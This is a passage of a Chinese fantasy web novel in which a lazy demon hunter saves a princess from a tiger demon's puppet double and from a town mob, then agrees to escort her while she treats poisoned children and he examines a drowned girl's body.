走了十几步之后,马庸来到牧青瑶身后。 脚步声,就此顿住。 “郡主刚才应该跟去才对,留在这里,恐怕更危险。” 马庸的身影隐在了阴影里,两侧嘴角缓缓翘起。 呼! 一阵狂风吹来。 原本洞开的大门,哐当合闭。 屋子里的光线立刻暗了下来。 “危险的地方,有时也是最安全的地方。” 牧青瑶没有回头,轻声道:“藏石镇我并未来过,既然认得出我,你应该不是县令。” “郡主很聪明嘛,既然如此,你就更不该留下,因为留下来,只有死路一条!嘿嘿嘿!” 狞笑中,县令马庸的身影在阴影里开始膨胀扭曲。 一股腥臭之气,从牧青瑶身后袭来。 牧青瑶的眸子晃动了一下,缓缓起身,道: “我看不出双子诡案的真相,但我能看出这是一个局,专门为我设的局,我想知道,是谁指使你来杀我。” 回过身。 牧青瑶面前的已经不是县令马庸,而是一个生着虎头的人形怪物! 虎口如血盆,獠牙开合间发出人言。 “你去地府问问阎王爷,他也许心情好会告诉你,现在嘛,做我的血食吧!” 虎头怪物腾身扑出,腥臭的大口咬向牧青瑶白皙的咽喉。 牧青瑶始终站在原地。 她知道自己根本逃不掉。 她也知道有人会来援手。 咔!!! 当虎头怪物即将咬下的瞬间,一道黑影破门而入。 那是一把刀! 一把通体漆黑的长刀! 黑刀直接斩在虎头上,将硕大的虎头一切两半! 嘭! 大门开启,云缺的身影去而复返,一身黑衣冷冽如风。 怪物的虎头连着半个身体都被切开,摔倒在地,却诡异的没有血液流出,伤口断面竟是一层岩石,看起来十分诡异。 裂开的虎头上,两只眼珠齐齐盯住云缺。 两片虎口同时开合,发出沙哑低沉的声音。 “不愧为知远县最强的猎妖人,你如何看出来的?我的妖气收敛到极致,你察觉不到才对。” 云缺呵呵一笑,瞄着虎妖道: “马小脚穿大鞋,这么大的破绽能看不到么,我又不是瞎子,有种下次本体来,看我扒不扒你的虎皮。” “嘿嘿嘿……下次,便是你的死期!” 两半虎头不再动弹,渐渐凝固成石头,被云缺一脚踩碎。 牧青瑶镇定的神色终于缓和下来,轻吁一口气。 “你的通灵天赋,莫非也能看破傀儡分身。”云缺收起刀。 “看不出,我只能看到假小翠身上的伥鬼,不过你给了两个提示。” 牧青瑶轻声道:“第一,县令外号马小脚,今天竟穿了双肥大的靴子,明显有问题,第二,你邀我去斩妖,说的却是想知道结果就随你同往,而我想知道的,不是结果,是真相。” “你很聪明,胆子也大,不过聪明又胆大的人,往往活不长。”云缺抱着刀道:“刚才如果我不回来,你会死得很惨。” 牧青瑶轻声道:“我知道你一定会回来,因为你也想知道真相。” “揣摩人心就无趣了,没人喜欢被旁人看穿想法。”云缺道。 “不是揣摩,而是心有灵犀。”牧青瑶道。 “你肯定是个有学问的,说话真好听,可惜虎妖用了傀儡分身,问不出真相喽。”云缺道。 “虽然不清楚虎妖背后的主使,但能确定一点,它的目标,是我。”牧青瑶的声音低沉了些许,眸子里那层阴霾更深了几分。 “我还奇怪这老妖怎么会来找我的麻烦,平常我们井水不犯河水,这家伙很厉害,跟它动手我容易吃亏,我们就此别过,今后大路朝天各走一边。”云缺道。 “你知道虎妖的底细?”牧青瑶略感兴趣的道。 “萍山君,浮萍山的老妖。”云缺的声音顿了顿,沉声补充道:“七阶。” 七阶两个字,将牧青瑶脸上的好奇瞬间抹去,取而代之的是一层寒意。 第5章 一生只能做武夫 天下有妖,亦有能与妖邪抗衡的修行者。 修行者林林总总,各不相同,主要分为武、道、儒、佛、巫五种。 武者,道家,儒士,佛门,巫蛊。 武者打熬气血之力,专修本体肉身,由于无法沟通天地气息,被其他几种修行体系鄙视,视其为世间最低等的修行者,往往会称之为武夫,并且前边还会加上莽,憨,笨,傻等等负面词缀。 道家修元神,感悟天机,借用五行之力施展法术剑诀,御剑飞行,搬山填海,大乘者立地飞升。 佛门修本心,感悟佛法,弘扬教义,佛法越强本身越强,修至巅峰可肉身成佛,不死不灭。 儒士修气运,养一口浩然正气,厚积薄发修身立命,世间大儒行走天下,可改换王朝气运。 巫蛊修蛊道,养蛊饲虫,下咒、入梦、呼风唤雨,招神弄鬼,万里之外取人命。 世间五种修行体系,都有固定的品阶划分,从九品至一品。 九品最低,一品最高。 与人族相对应,妖族也有固定的等级,从九阶至一阶。 七阶妖族,相当于七品的人族修行者。 之前在青狐山被三眼血狼吞杀的灰发老者,便是一位八品道家修士,有开光境的修为。 而七阶妖族,需要七品辟谷境的修士方可抗衡! 牧青瑶的嘴角泛起苦涩。 这次远行,从一开始便处处危机不断,到了青狐山,除她之外全军覆没。 牧青瑶已经有所察觉,那只三眼血狼就是朝她而来。 今天在藏石镇县衙遭遇虎妖,她更加确定,有人不想让她活着返回天祈皇城。 深吸一口气,小郡主望向对面的黑衣少年。 “云缺,你是不是很缺钱。” 牧青瑶声音很轻,目光中带着一份浓浓的希翼。 听闻缺钱二字,云缺慵懒的神色立刻警惕起来。 这种话从谁口中说出无关紧要,无论是天生丽质的少女,还是满脸猥琐的大叔。 其中蕴含的意境是一样的。 是不是很缺钱? 想不想吃块糖? 有区别吗。 没有。 “缺啊!当然缺钱,不缺钱我犯得着漫山遍野的猎妖么,不过我这人有自知之明,赚一百两银子的能耐,我肯定不接一千两银子的活儿。”云缺道。 牧青瑶忽略了云缺这番话,轻轻抿着唇道: “我想请你做临时护卫,送我回天祈皇城,报酬三千两白银。” 云缺抽了口冷气,想都没想摆手拒绝。 牧青瑶料到对方不会同意,声音有些凝重的补充道:“外加一个天祈学宫的名额。” 云缺的眉峰忽然动了动。 天祈学宫的大名,天下间无人不知无人不晓。 天祈学宫不属于皇朝,不听从皇帝调遣,虽地处皇城重地,却出尘于世外。 天祈学宫建立至今,已经有近千年的历史,历经数代王朝更迭,是一处汇聚各方名师的研学之地,被天下修行者视为修炼圣地。 天祈学宫内设有十二殿,分类繁杂,每一殿都有修为高深的先生授课。 若能入天祈学宫求学,即便出来后一点本事没学到,有学宫弟子的身份存在,也会被各方势力恭敬几分,无异于一份行走天下的护身符。 想进天祈学宫的人如过江之鲫,怎奈名额有限,每年的入学者寥寥无几,不是天赋斐然之辈就是名门之后豪门子弟,普通人想要进学宫,难如登天。 能给出一个学宫名额,连许多皇亲国戚都做不到。 云缺不知道牧青瑶的身份。 对面的少女不仅被七阶虎妖惦记,又能给出学宫名额,身份绝对不简单。 “不用现在答复我,你可以考虑考虑。” 牧青瑶说完,望向门外。 武大川与几个衙役正火急火燎的往这边来。 一进门,看到云缺后,武大川长出一口气,道: “云老弟你怎么不见了?那妖邪后来自己出来了,居然是县令老爷家的丫鬟,根本不是小翠!问她经过,她说自己之前浑浑噩噩,神志不清,好像做了个梦,刚醒过来。” “伥鬼附身,醒过来就无碍了。”云缺道。 “原来云兄弟早知道是丫鬟啊!县令大人呢?”武大川觉得脚底下有东西,低头一看奇怪道:“怎么有一堆碎石头?” “你踩的,就是县令大人。”云缺道。 武大川吓得一蹦多高,惊呼道:“大人怎么碎、碎了!” “假的,有妖邪冒充县令,你们去找找真的县令吧,我估计还在衙门里,此间事了,我回去了。” 云缺说罢与牧青瑶离开县衙。 武大川牛不才等人在县衙里一顿好找,最后在茅厕发现了县令马庸。 幸亏来得及时,再晚一会儿这位县令老爷马小脚非得被淹死不可。 双子诡案虽然完结,但县令大人从此对一切吃食再也不感兴趣,看见什么吃的都想吐。 回到布衣巷,天色已经渐暗。 中午没在县衙混到饭吃,云缺早已饿得饥肠辘辘。 回到家开始忙活。 把二斤新鲜五花肉切成大片儿,切了半棵白菜,葱姜蒜大油炸锅,加上粉条开煮,没多大一会儿,屋子里满是菜香。 整整一小盆猪肉白菜炖粉条,热气腾腾。 又热了几个大号儿的白面馒头,云缺吃得狼吞虎咽。 牧青瑶第一次见识到这种民间菜肴的做法儿,用纤细的两根手指撕下一小块馒头,慢条斯理的嚼着,夹菜也有讲究,只从最上面开始,一次夹的菜只够一小口,吃相温文尔雅,隐隐透着一种高贵。 反观云缺,埋头猛吃,群狼进食什么样子,他就什么样。 屋子里点着一盏小油灯。 两道身影倒影在窗纸上。 两相对比之下,小木桌的两侧简直是美人与凶兽。 完全相反的两种景致。 一口气吃掉五个馒头,云缺打了个饱嗝。 对面的牧青瑶连半个馒头还没吃完。 见云缺吃饱,牧青瑶放下了手里的食物。 “我们穷苦人家没那么多讲究,你吃你的。”云缺道。 高门大户里的规矩,一旦家中主人吃完,其他人也就不会再继续吃了。 “我吃饱了。” 牧青瑶脸上挂着浅浅的微笑道:“手艺不错,很好吃,我在王府里从没吃过这种菜。” “原来是金枝玉叶的郡主,难怪敢出价三千两。” 云缺倚在榻上,声音慵懒,并没有因为对方高贵的身份而表现出该有的敬意。 “钱财身外物,如果你觉得不够,我可以再加,不过天祈学宫的名额很难用钱买得到,你考虑得如何。”牧青瑶轻声道。 “明天早上从镇子南门走,往左乌鸡镇,往右百玉城,两条路都通天祈。” 云缺无精打采的道: “如果你肯出二百两银子,我可以送你到乌鸡镇或者百玉城,之后的路你自己走,我个人建议你走百玉城,因为百玉城是玉石买卖的重镇,来往客商繁多,城内驻军不少,你亮明身份肯定有人护送。” 牧青瑶没有任何失望,声音轻灵的道: “以你的身手,留在藏石镇只会埋没人才,金子会发光,但不见天日的话,再贵重的珍宝也无法展现光彩。” “读书人说话果然都好听,可惜我不是什么金子,更不是珍宝,我就是个平凡的武夫,没事儿猎点小妖,验点尸体赚外快,苟活于世,混吃等死。”云缺道。 “你能与七阶妖物抗衡,应该在七品境界,若为朝廷效力至少是偏将与游击将军的级别,如此身手,岂是凡夫俗子。”牧青瑶道。 “郡主眼光不太行啊,我哪里是什么七品,我只是个小小的八品武夫而已。”云缺道。 牧青瑶稳重的目光晃动了一下,心中出现震惊。 她始终认为伪装成县令的七阶虎妖,与云缺同等境界。 而且在牧青瑶看来,云缺的实力应该隐隐压着那虎妖一头。 从虎妖萍山君的语气中也能证实这一点,牧青瑶听得出那虎妖对云缺有着相当强烈的忌惮。 若非忌惮云缺,虎妖萍山君大可本体前来。 一个七阶虎妖,八品武者绝对挡不住,到时候她这位郡主必定身亡。 可萍山君没来。 只用了傀儡替身。 一次暗杀不成功,立刻远遁。 这不是明显的忌惮,又是什么? 牧青瑶实在想不通,云缺为何以八品武者的境界修为,却能震得住七阶的强大虎妖! 压下心底的震惊与疑惑,牧青瑶沉稳的道: “武者前三境为后天境界,九品炼体,八品炼骨,七品炼神,这三个后天境界最为耗费钱财,需要大量增加气血的药物洗练本体。” “尤其八品炼骨境,所需的资源无比庞大,你在县衙验尸,一具才一百个铜钱,验上几辈子也赚不够炼骨的药钱,即便能猎妖赚钱,想要冲进七品炼神也不知要何年何月。” “若能护送我回到皇城,我可以提供你在炼骨境的所有药材,我不想死,我想活下去。” 牧青瑶的声音很轻,听得出发自内心,除了交易之外,还有她对活下去的期待。 云缺沉默了一下。 “你不认得萍山君那头虎妖,对吧。” 牧青瑶轻轻点头。 “炼骨境的消耗确实太大了,你给的好处十分诱人,说实话,我很动心,不过这笔买卖,我不接。” 云缺笑了笑,道:“萍山君那老妖懒得很,它不会无缘无故去杀个郡主,肯定有人指使,对付萍山君问题不大,对付它背后的势力我实在无能为力,抱歉了,如果答应你的话,不是送你回皇城,而是陪你一起死。” 牧青瑶轻轻叹了口气,不甘心的道: “天祈学宫十二殿,容纳儒道武三家精华,你若进入学宫,有机会转修其他体系,以你的聪慧,修道与修儒肯定更加适合,武道,实在太难了。” “这一点无需郡主关心。” 云缺打了个大大的哈欠,道:“我入不了儒家,进不了道门,拜不得菩萨,我这一生只能做个武夫。” “为什么?”牧青瑶疑惑道。 “因为我的命,早就卖了呀。”云缺道。 第6章 我的抱负就是活下去 入夜后,小镇偶尔传出几声犬吠。 皓月当空,夜阑人静。 布衣巷的小屋里,光线暗淡。 牧青瑶拨了拨灯油。 火光再次明亮起来。 “由于我的天赋能沟通灵体,父王从小交给我一个任务,寻找灵花,我从六岁开始,每年至多在家里住上三两月,其他时间都在四处奔波,十余年间,我几乎走遍了半个晋国,仅仅发现过一朵灵花的踪迹。” 牧青瑶轻声的讲述着,如自言自语。 “那年我十一岁,亲眼目睹了灵花的争夺,一头两人多高的熊妖杀死了上千名重甲禁军,司天监的师兄师姐们殊死搏杀,战死十三人重创三十余人,最终才将熊妖击杀,夺到了灵花。” “一位师兄被熊妖撕碎了身体,五脏尽裂,即将身死,我问他可有遗言,他却看着灵花开怀大笑,他说不赔,他这条命赚了,一朵灵花,又能打造一座伏妖阵,护一城百姓平安。” “师兄死了,笑着死的。” “从那之后,我心里的些许埋怨尽数散去,如果有一天我因为寻找灵花而死,我想,我也该是笑着而去。” “寒风未至叶先黄,丛中一点香,傲骨斗严霜。” 小郡主的声音很轻,可这番低语却带着沉沉的重量。 傲骨斗严霜! 哪怕寒风彻骨,危机重重,牧青瑶也会在这条她自己选的路上,走到底。 听对方说完,云缺打着哈欠道: “你图个啥呀,受苦挨累还得随时搭上命,你是皇帝?还是圣人?” “我不是皇帝,我也不是圣人,我只是个不忍看到黎民百姓深受妖邪之苦的普通郡主,虽为女儿身,但行君子道。”牧青瑶目光坚毅的道。 “即便找到灵花打造出伏妖阵,百姓也只会歌颂皇帝,有几人知道你的功劳,就是你这种女君子,让三座大城的地皮连年攀升,真正的穷苦人家还是水深火热,伏妖阵只会庇护有钱人而已,要我说就不该存在伏妖阵,大家一样随时都能遭遇妖邪,随时都会死,这才公平嘛。” 云缺的公平之说,听得牧青瑶蹙起秀眉。 地价这种事,她之前并未关注过,不过略一思索,便认可了云缺的说法。 但这是没办法的事。 “司天监的人会努力寻找灵花,十年不够就找上百年,早晚有一天,大晋的所有城镇都会变成安全之地。”牧青瑶坚定的道。 “移山的愚公也是这么想的。”云缺道。 “我知道你心里也有一颗赤诚之心,藏石镇去年矿场闹妖邪的时候,是你仗义相助,铲除了妖邪,我看得出镇上的人对你十分敬重,你有没有想过投靠朝廷,报效家国。”牧青瑶道。 “没想过。” 云缺晃着一根手指道:“而且你说错了,我去矿上除妖是收费的,马小脚加了钱,否则我才不去,我只是个自私自利的小人,活一天算一天。” “堂堂男儿该当顶天立地,难道你没有抱负?”牧青瑶道。 “有哇!我最大的抱负,就是活下去。”云缺道。 牧青瑶望着斜倚在床榻上的黑衣少年,对方那张清秀的脸庞上,始终是提不起精神的慵懒神色,显得昏昏欲睡。 看不到斗志,也看不到朝气,好似个垂暮老者,了无生气。 然而云缺越是如此模样,牧青瑶心里的好奇便越重。 牧青瑶有一种强烈的直觉,对面的少年身上,必定藏着沉重的秘密。 “我已经讲述了自己,能不能说说你的故事。”牧青瑶声音很轻。 “我的故事很无聊,你确定想听?”云缺道。 “想听,毕竟今晚,也许是我这辈子最后的一夜了。”牧青瑶声音中带着一丝淡淡的哀伤,道:“我想听最后一个故事。” “好吧,看你这么可怜,讲给你听也无妨。” 云缺的脸上现出无奈,道: “故事的开始是,从前有一对武者夫妻,生了个儿子,故事的结尾是,武者夫妻在一次大战中战死,他们不到三岁的儿子在残尸断骸中幸存了下来,我的故事讲完了。” 小屋里安静下来。 油灯中火苗摇曳,牧青瑶的影子变得不断晃动,亦如她此刻的心绪。 故事实在太简单。 简单到无聊。 然而牧青瑶却从这段简单的故事里,听出了一个令她久久无法平静的线索。 大战,三岁,遍地尸骸! 十五年前,前朝大燕与北域妖都同归于尽,那场大战震惊了天下。 从云缺的年纪判断,当时的他,只有两三岁而已。 牧青瑶清澈的眼眸,此刻盛满了震撼。 明知是一场死战,那对战死的武者夫妻不可能带着幼子去参战,应该在出发前将孩子安顿好才对。 可云缺却出现在战场! 这种情况只能说明一件事。 当时的云缺,随军攻打妖都! 不到三岁的娃娃,竟参战了! 牧青瑶无法想象,一个三岁的娃娃,究竟拥有何种可怕的力量,能在战场冲杀! 要知道那不是普通的凡人战场,敌人不是普通军兵,而是成千上万的强大妖族! 仅仅想象一下那种惨烈的画面,牧青瑶便通体生寒。 望着斜倚在床榻上的慵懒少年,牧青瑶的心,没来由的疼了一下。 “后来呢,那孩子去了何处。”牧青瑶追问道。 “被一个青狐山的老猎人收养,混吃等死到现在。”云缺道。 牧青瑶再次微微蹙眉。 她察觉到故事的结尾,不对劲。 “北域妖都,距离青狐山百万里之遥,即便被收养,也该在北域附近才对,你是怎么回到的青狐山?”牧青瑶道。 “我也想知道。” 云缺将两只手抱在脑后,望着棚顶道:“我缺失了一段记忆,大概一个多月,那段时间究竟发生了什么,我不知道,等我醒来的时候,人已经在青狐山了。” 牧青瑶沉默了下来。 仿佛有一种共鸣,让她能感受到云缺心里的孤独与那份深深的疑惑。 牧青瑶低下头,从颈上摘下一个挂件。 由红绳儿编织,顶端吊着一块小小的玉石。 玉石呈天青色,雕刻着一根羽毛,惟妙惟肖。 “这件月玉,我从出生一直戴着,有安神之效,在山上的时候你救过我一命,此物当做我的谢礼。” 牧青瑶将月玉放在云缺手里,整个人也变得轻松了许多,明媚一笑,道: “滴水之恩当涌泉相报,何况是救命之恩,如果你不收,我死之后这块玉也会落在别人之手。” “你既然给,我当然收,这块玉值不值二百两?” 云缺捏了捏玉石,上面还残存着小郡主的体温。 “值。” 牧青瑶微笑道:“如果你以后去了天祈皇城,我建议你到司天监见见监正,监正是我师尊,修为高深,也许能帮你找回那段缺失的记忆。” “我这人好奇心不重,丢了一个月记忆而已,想不起来就算了。” 云缺呵了一声,道:“如果你打着重建前朝斩妖司的心思,我劝你早点放弃为好,没机会了。” 牧青瑶并不意外对方看穿她的心思,微微偏着头,道:“为什么?” “因为我们不是正常人……困了,睡觉。” 云缺说完一句便抱着刀沉沉睡去。 牧青瑶没睡,望着遍布群星的夜空出神。 这一夜,藏石镇并不安宁。 北街有女人投了井,南街有乞丐发了疯,西街的上百个孩童在睡梦中惊醒大哭大叫口吐白沫,东街的野狗没来由的死了满地。 这一夜,镇上的所有郎中都忙碌到天明。 最后得出同一个结果。 中邪了,镇上有不干净的东西。 天亮后,牧青瑶站起身,望了眼熟睡的云缺,随后脚步轻轻的出门,离开了这座棺材般的小屋。 今天的天气十分阴沉。 黑云当空,大雨将至。 牧青瑶独自走在空旷的街头,脚步不急不缓。 她没有直接离开藏石镇,而是走到云缺第一次带她吃包子的那家包子铺。 要了一笼屉肉包子。 狠狠的一大口咬下去。 好香! 这一刻,小郡主甩掉自己高贵的身份,狼吞虎咽。 她体会了一次平民百姓的生活。 虽然活着不易,却也如此爽快。 活着真好…… 吃完了包子,牧青瑶重新恢复稳重矜持的神态。 付了钱,起身走向镇子南侧的出口。 街上来往的行人渐渐多了起来。 牧青瑶走在街上,发现很多人在打量自己,目光不善。 而这些打量自己的人,居然都是普通的镇上百姓。 牧青瑶有些不解,脚步加快了几分。 南街是一条崎岖不平的长街,街道两侧有店铺有民宅,还有一座土地庙。 庙宇修得不大,连正门都没有,就是间勉强遮风挡雨的大屋,里面供奉着土地爷的泥像,从外面即可看得一清二楚。 当牧青瑶途经土地庙的时候,忽然轰隆一声闷响。 庙里的泥像,居然倒塌,摔了个四分五裂! 倒塌的泥像,犹如一个信号般,街上所有人都停住脚步。 一双双充满愤怒与敌视的目光,汇聚在牧青瑶身上。 牧青瑶预感到不妙,低着头想要离开此地。 “就是她!” 人群里一个五大三粗的悍妇大吼一声,指着牧青瑶道:“她就是昨天的外来人!我们镇上平安多年,她一来就闹了一夜怪事,她是扫把星!是邪祟!” 人群寂静了片刻,爆发出一声高过一声的呼喊。 “我家孩子吐了一宿,眼看着要没气儿了,原来是她害的!” “我儿子的棺材都备好了,烧死她这个邪祟,我儿肯定能活过来!” “她死了镇子就干净了!” “烧死她!” “烧死她!” 第7章 刀中美景 南街的土地庙前,架起了一堆易燃的木料。 足有半人多高,淋了不少煤油。 牧青瑶被绑在木头堆里。 四周的百姓群情激奋。 那五大三粗的悍妇找来一支火把,大呼小叫的咒骂着。 牧青瑶望着阴沉的天空,苦涩的笑了笑。 她想象过自己被妖物咬死的惨烈景象,也想象过自己被敌人一剑穿心,甚至想象过跌落陷阱被活活困死。 她想过很多种死法。 唯独没想过,会死在一群百姓之手。 命运仿佛跟牧青瑶开了个天大的玩笑。 她不畏危险,努力想要守护的天下黎民,反而成了杀掉她的凶手。 偏过头,牧青瑶看到破旧的土地庙里,土地爷那颗残破的泥巴头颅正对着自己,好像在嘲笑。 当悍妇即将点燃木料堆的时候,人群里挤出个少了一只手的汉子。 “你们干什么!当街杀人,没有王法了吗!” 汉子是集市上卖肉的屠夫。 “什么王法!王法管得到邪祟吗!” “上百个孩子中了邪,就是这女人的原因,烧死她,孩子们就有救了!” “法不责众,况且我们烧的是邪祟!” “对!烧死她!” 人群爆发出愤怒的吼声,有些人一个劲催促着悍妇快些点火。 缺手的汉子急了,大吼道: “不能烧!她是云哥儿带回来的女人!肯定不是妖邪!” 汉子认出了牧青瑶,这才尽力阻拦。 云哥儿这几个字,让四周安静了下来,连那悍妇也变得犹豫不定。 这时人群里有人高呼道: “昨天镇上根本没来外人!就她一个外乡人!她进了镇子才出现这么多邪门儿的事儿,她肯定是邪祟!云哥儿也有看走眼的时候!” 有第一个人出声,就有第二个。 很快,越来越多的人们再次呼喝起来,大吼着烧死她。 缺手的汉子被几个壮汉推搡到一旁,他一个人哪能挡得住数百名百姓。 缺手汉子被推得跌倒在地,朝着四周人群大吼着:“你们中了邪!你们才中了邪啊!” 悍妇来到木料堆近前,恶狠狠的抡起火把。 扬起的火把,却如定在身后一般,任凭悍妇如何用力居然砸不下去。 悍妇回头一看。 一只手,稳稳的抓住了火把。 悍妇身后,是一身黑衣的冷峻少年,背着刀,目光清冷。 “是不是藏石镇这几年太安生了,闲得你们没事儿找事儿。” 云缺的冷语,惊得悍妇立刻松手,退出好几步。 周围的人群变得鸦雀无声。 人们的脚步都在不自觉的往后退去,让出了土地庙前一大圈空地。 云缺提着火把,环顾四周道: “想看邪祟是吧,好,明儿我带回来点,让你们看个够。” 轰隆一声,天空传来滚滚雷音。 人们浑身一哆嗦,又齐刷刷往后退了几丈远,仿佛那黑衣少年比邪祟还要恐怖。 远处有不少人闻讯赶来。 其中一个瘦小的汉子挤进人群,跳起来照着那悍妇就是一耳光,扇得悍妇原地转了三圈。 “败家婆娘!谁他娘让你来这撒泼的!云哥儿带回来的女人能是邪祟吗!你他吗脑子被驴踢了是不是!” 悍妇委屈道:“打媳妇算什么能耐!我们儿子眼看活不成了,不是闹邪祟是啥呀!” 瘦小汉子脸色铁青的骂道:“我儿子就算今天死了!我也信云哥儿!没有云哥儿,去年我们矿上这些人全都得没命!你们谁不信,现在站出来!” 四周的百姓纷纷低下头,现出愧色。 云缺的存在,在藏石镇犹如传说一般。 百姓虽然愚昧,但百姓们并不傻,藏石镇能如此安稳多年没有妖邪,靠着的不是县令的治理,而是青狐山这位猎妖人。 一队衙役匆匆赶来,为首的正是武大川。 问清原委后,武大川也被气得不轻,扬言要将闹事的全抓回县衙,一时间土地庙前闹哄哄,全是求饶声道歉声。 云缺解开牧青瑶的绑绳,带着对方离开了南街。 重新回到布衣巷的时候,下起了一场大雨。 “你怎么来了。”牧青瑶轻声道。 “送你去百玉城。”云缺晃了晃脖子上挂着的月玉,道:“这玩意肯定值二百两对吧。” 牧青瑶轻轻笑了起来,颔首道:“值。” “山上的事不算什么救命之恩,有你没你我都会杀那头狼妖,这块玉就当护送费了。” 云缺将月玉收进衣领,道:“不过事先说好,只到百玉城,多一步我都不会走,到时候你自己想办法回皇城,咱们两清。” 牧青瑶静静的望着对面的黑衣少年,轻声道:“谢谢你。” “别谢,买卖而已,你情我愿,二百两银子的活儿我还接得起。”云缺道。 “还有旧衣服吗,我想沐浴。” 牧青瑶的白裙染满油污,手脚也沾了不少煤油,十分狼狈。 “柜子里有一套,洗澡的话只能在屋子里。” 云缺指了指墙角的一个木桶。 他这屋子就一间房,烧菜都得在院子。 翻找出一套灰色的长衫,云缺帮忙烧了热水,倒满木桶。 “我出去等着。” 云缺抱着刀,打开门。 外面的雨很大,瓢泼一般。 牧青瑶犹豫了一下,道:“不必了,你背过身,别回头即可。” 云缺闻言又关上了门,坐在凳子上背对着木桶。 “放心,我这人说话算数,肯定不会回头。” “我相信你。” 牧青瑶见云缺背对自己坐好后,抿了抿唇,开始宽衣沐浴。 外面大雨倾盆,屋内安静异常。 只有些许水波撩动的细响。 小郡主从来没有当着外人沐浴的经历,俏脸上始终挂着一抹晕红。 洗到一半的时候,牧青瑶轻轻咬了咬牙,忽然转头看去。 云缺正安稳如常的坐在椅子上,背对着木桶,专心致志的摆弄着长刀。 “你是个君子。” 牧青瑶声音很轻的低语了一句。 木椅上,云缺只是呵了一声。 君子? 傻子才做君子。 云缺重新调整好刀刃的角度,继续欣赏着刀中美景。 看几眼,咽一下口水。 当牧青瑶换好了干净的长衫,外面的大雨也停了。 衣衫有些宽大,毕竟是男人的衣服。 牧青瑶用裙衣上的腰带扎住腰肢,如瀑的长发简单的系成马尾,整个人干净清爽,少了些少女的娇柔,多了几分英气。 “何时出发,你是雇主你定时间,不过我建议越快越好。”云缺收好长刀,转过身道。 “我想去看看那些中邪的孩子。”牧青瑶道。 “他们想烧死你,你还去看望人家,菩萨也没你这么慈悲的。”云缺道。 “百姓愚昧,最容易被人蒙蔽,我看得出刚才那一幕有人背后挑唆,我不怪他们,我只是担心那些孩子的安危,不会没来由的上百名孩子一起中邪,我跟随师尊学过一些医道,也许能帮上忙,若这么走了,于心不安。”牧青瑶道。 “镇上的人我大多认得,人群里有几个生面孔,晚走一分便危险一分。”云缺道。 “没到百玉城之前,你会帮我的,不是么。”牧青瑶俏皮的微笑道。 “古往今来,做东家的向来事儿多,反正二百两银子的活儿,到百玉城之前你随便折腾。”云缺道。 出了门,两人来到最近一处出事的人家。 一家三口,平日里靠着在山里摘些野果子售卖,冬天的时候便上山砍柴回来卖,日子过得很苦。 家里是个女儿,四岁大,两眼翻白,时而吐些白沫,气息微弱,看样子活不了多久。 云缺进来的时候,夫妻两人正直勾勾盯着女儿,茫然无措。 “郎中怎么说。”云缺道。 一见是云缺,夫妻俩就像看到了救命稻草。 “郎中瞧过,只说和其他孩子一样中了邪,没得治。” “云哥儿你救救我家孩子吧!求求你了!” 云缺看了眼气息奄奄的女娃,道:“她没中邪,你家也没有邪祟,我救不了。” 夫妻俩一听,齐齐瘫倒在地,抱头痛哭起来。 “我来试试。” 牧青瑶说着走到女娃旁边,仔细的把起脉,远山般的黛眉缓缓蹙起。 夫妻俩急忙擦干眼泪,安静的等在一旁。 良久,牧青瑶收回手,朝夫妻俩道: “打一盆清水,给孩子灌下去,灌到吐为止,至少让她吐三次。” 夫妻俩急忙照办,打来清水。 他们现在病急乱投医,反正也没有其他办法,大城里的郎中又请不起,只能死马当活马医。 女娃被灌了一大盆清水,足足灌吐了三次。 随后女娃的脸色转好,气息也充足起来,不多时竟悠悠转醒。 夫妻俩大喜之下,一个劲的拜谢。 牧青瑶让两人将办法散布出去,解救其他中邪的孩童。 随后离开这户人家。 “看走眼了,果然是邪祟。”云缺道。 “你没看错,女娃并非中邪,而是中了毒,我看不出是什么毒,只能用这种办法缓解,幸好有效。”牧青瑶忧心忡忡的道。 “连几岁大的娃娃都能利用,不是邪祟是什么,世上有很多披着人皮的邪祟,生得与人一样,却比妖邪还残忍。”云缺冷笑了一声。 牧青瑶一时无语,心里泛起一种自责。 宁静的小镇,自从她这位郡主抵达之后,便成了别人的棋盘。 小镇上无辜的百姓,也成了别人的棋子。 “我们现在就走。”牧青瑶振作起来,坚定的道。 只有她离开,藏石镇才能恢复真正的平静。 路口处,武大川和两个捕快的身影匆匆而来。 “云老弟!可找到你了,县令大人让你赶紧过去验尸呐!” 第8章 死字怎么写 武大川带来了一则死讯。 死者是镇上一位员外的独生女儿,昨晚不知为何突然投河自尽,早上捞出来的时候,尸体都泡走形了,惨不忍睹。 云缺毕竟是衙门的仵作,县令既然下令,他不好置之不理。 跟着武大川来到北街。 街尾的一口水井旁,围着一圈衙役。 县令马庸,主簿牛不才都在。 还有个富态的中年男人,坐在地上哭天喊地。 水井一侧,蒙着一大块黑布,罩着一具尸体。 “我的闺女啊!你怎么好端端的投了井啊!你走了,为父可怎么活呀!” 员外痛哭流涕,白发人送黑发人。 马庸和牛不才不断的安慰员外,好话说尽,对这位员外很是客气。 看见云缺到了,马庸急忙道: “云缺你来得正好,快快验尸,看看徐员外家的千金到底因何投河,是沉郁所致还是心结难解。” 云缺翻了个白眼。 你找个说辞直接定案得了,人都死了,神仙也看不出是沉郁还是心结。 没办法,谁让干这行呢,云缺来到黑布前,打算开始验尸。 牧青瑶始终跟在一旁。 云缺抓住黑布一角,提醒道: “沉尸水井一夜,虽然达不到巨人观的程度,但绝不会好看,你确定要看?” 牧青瑶肯定的点了点头,神色肃然。 云缺直接掀起黑布。 看到尸体的瞬间,牧青瑶的呼吸停滞了一瞬,有种要呕吐的冲动。 牧青瑶闭眼缓和了一会儿,才再次睁开眼,没再敢看尸体,将目光落在云缺身上。 作为仵作,云缺是专业的。 简单查看一番尸体,确认没有伤痕,问旁边的衙役: “先捞的哪头?” “脚!先捞的脚,尸体是倒着的。”一名衙役回复道。 云缺又转向员外,问道:“你闺女有没有疯病,昨晚发生了什么事。” “没有哇!我闺女一直正常,昨晚还挺开心的说要给我织一件羊毛的坎肩呢,不大会儿就投了井!我的女儿哎!呜呜呜……” 问完两个问题,云缺给出了验尸结果。 “他杀,凶案。” 一句凶案,将周围众人听得齐齐发愣。 明明是跳井自尽,怎么成了凶案? 县令马庸的脸色变得难看起来。 如果是自尽好办,安抚一番徐员外即可。 可若是凶案,折腾的就是衙门的人。 总得查线索找凶手吧。 尽快破了案子还好,如果有凶案长时间悬着,他这个县令的考绩就得大打折扣。 刑狱一类,是考核县令的重要标准,凶案若积累过多,县令的乌纱不保! 尤其这种尸体完好的情况,连推说是妖物所为都难以服众。 妖邪作祟,必定伤人。 哪有妖邪不吃人,偏偏喜欢拖人下水的。 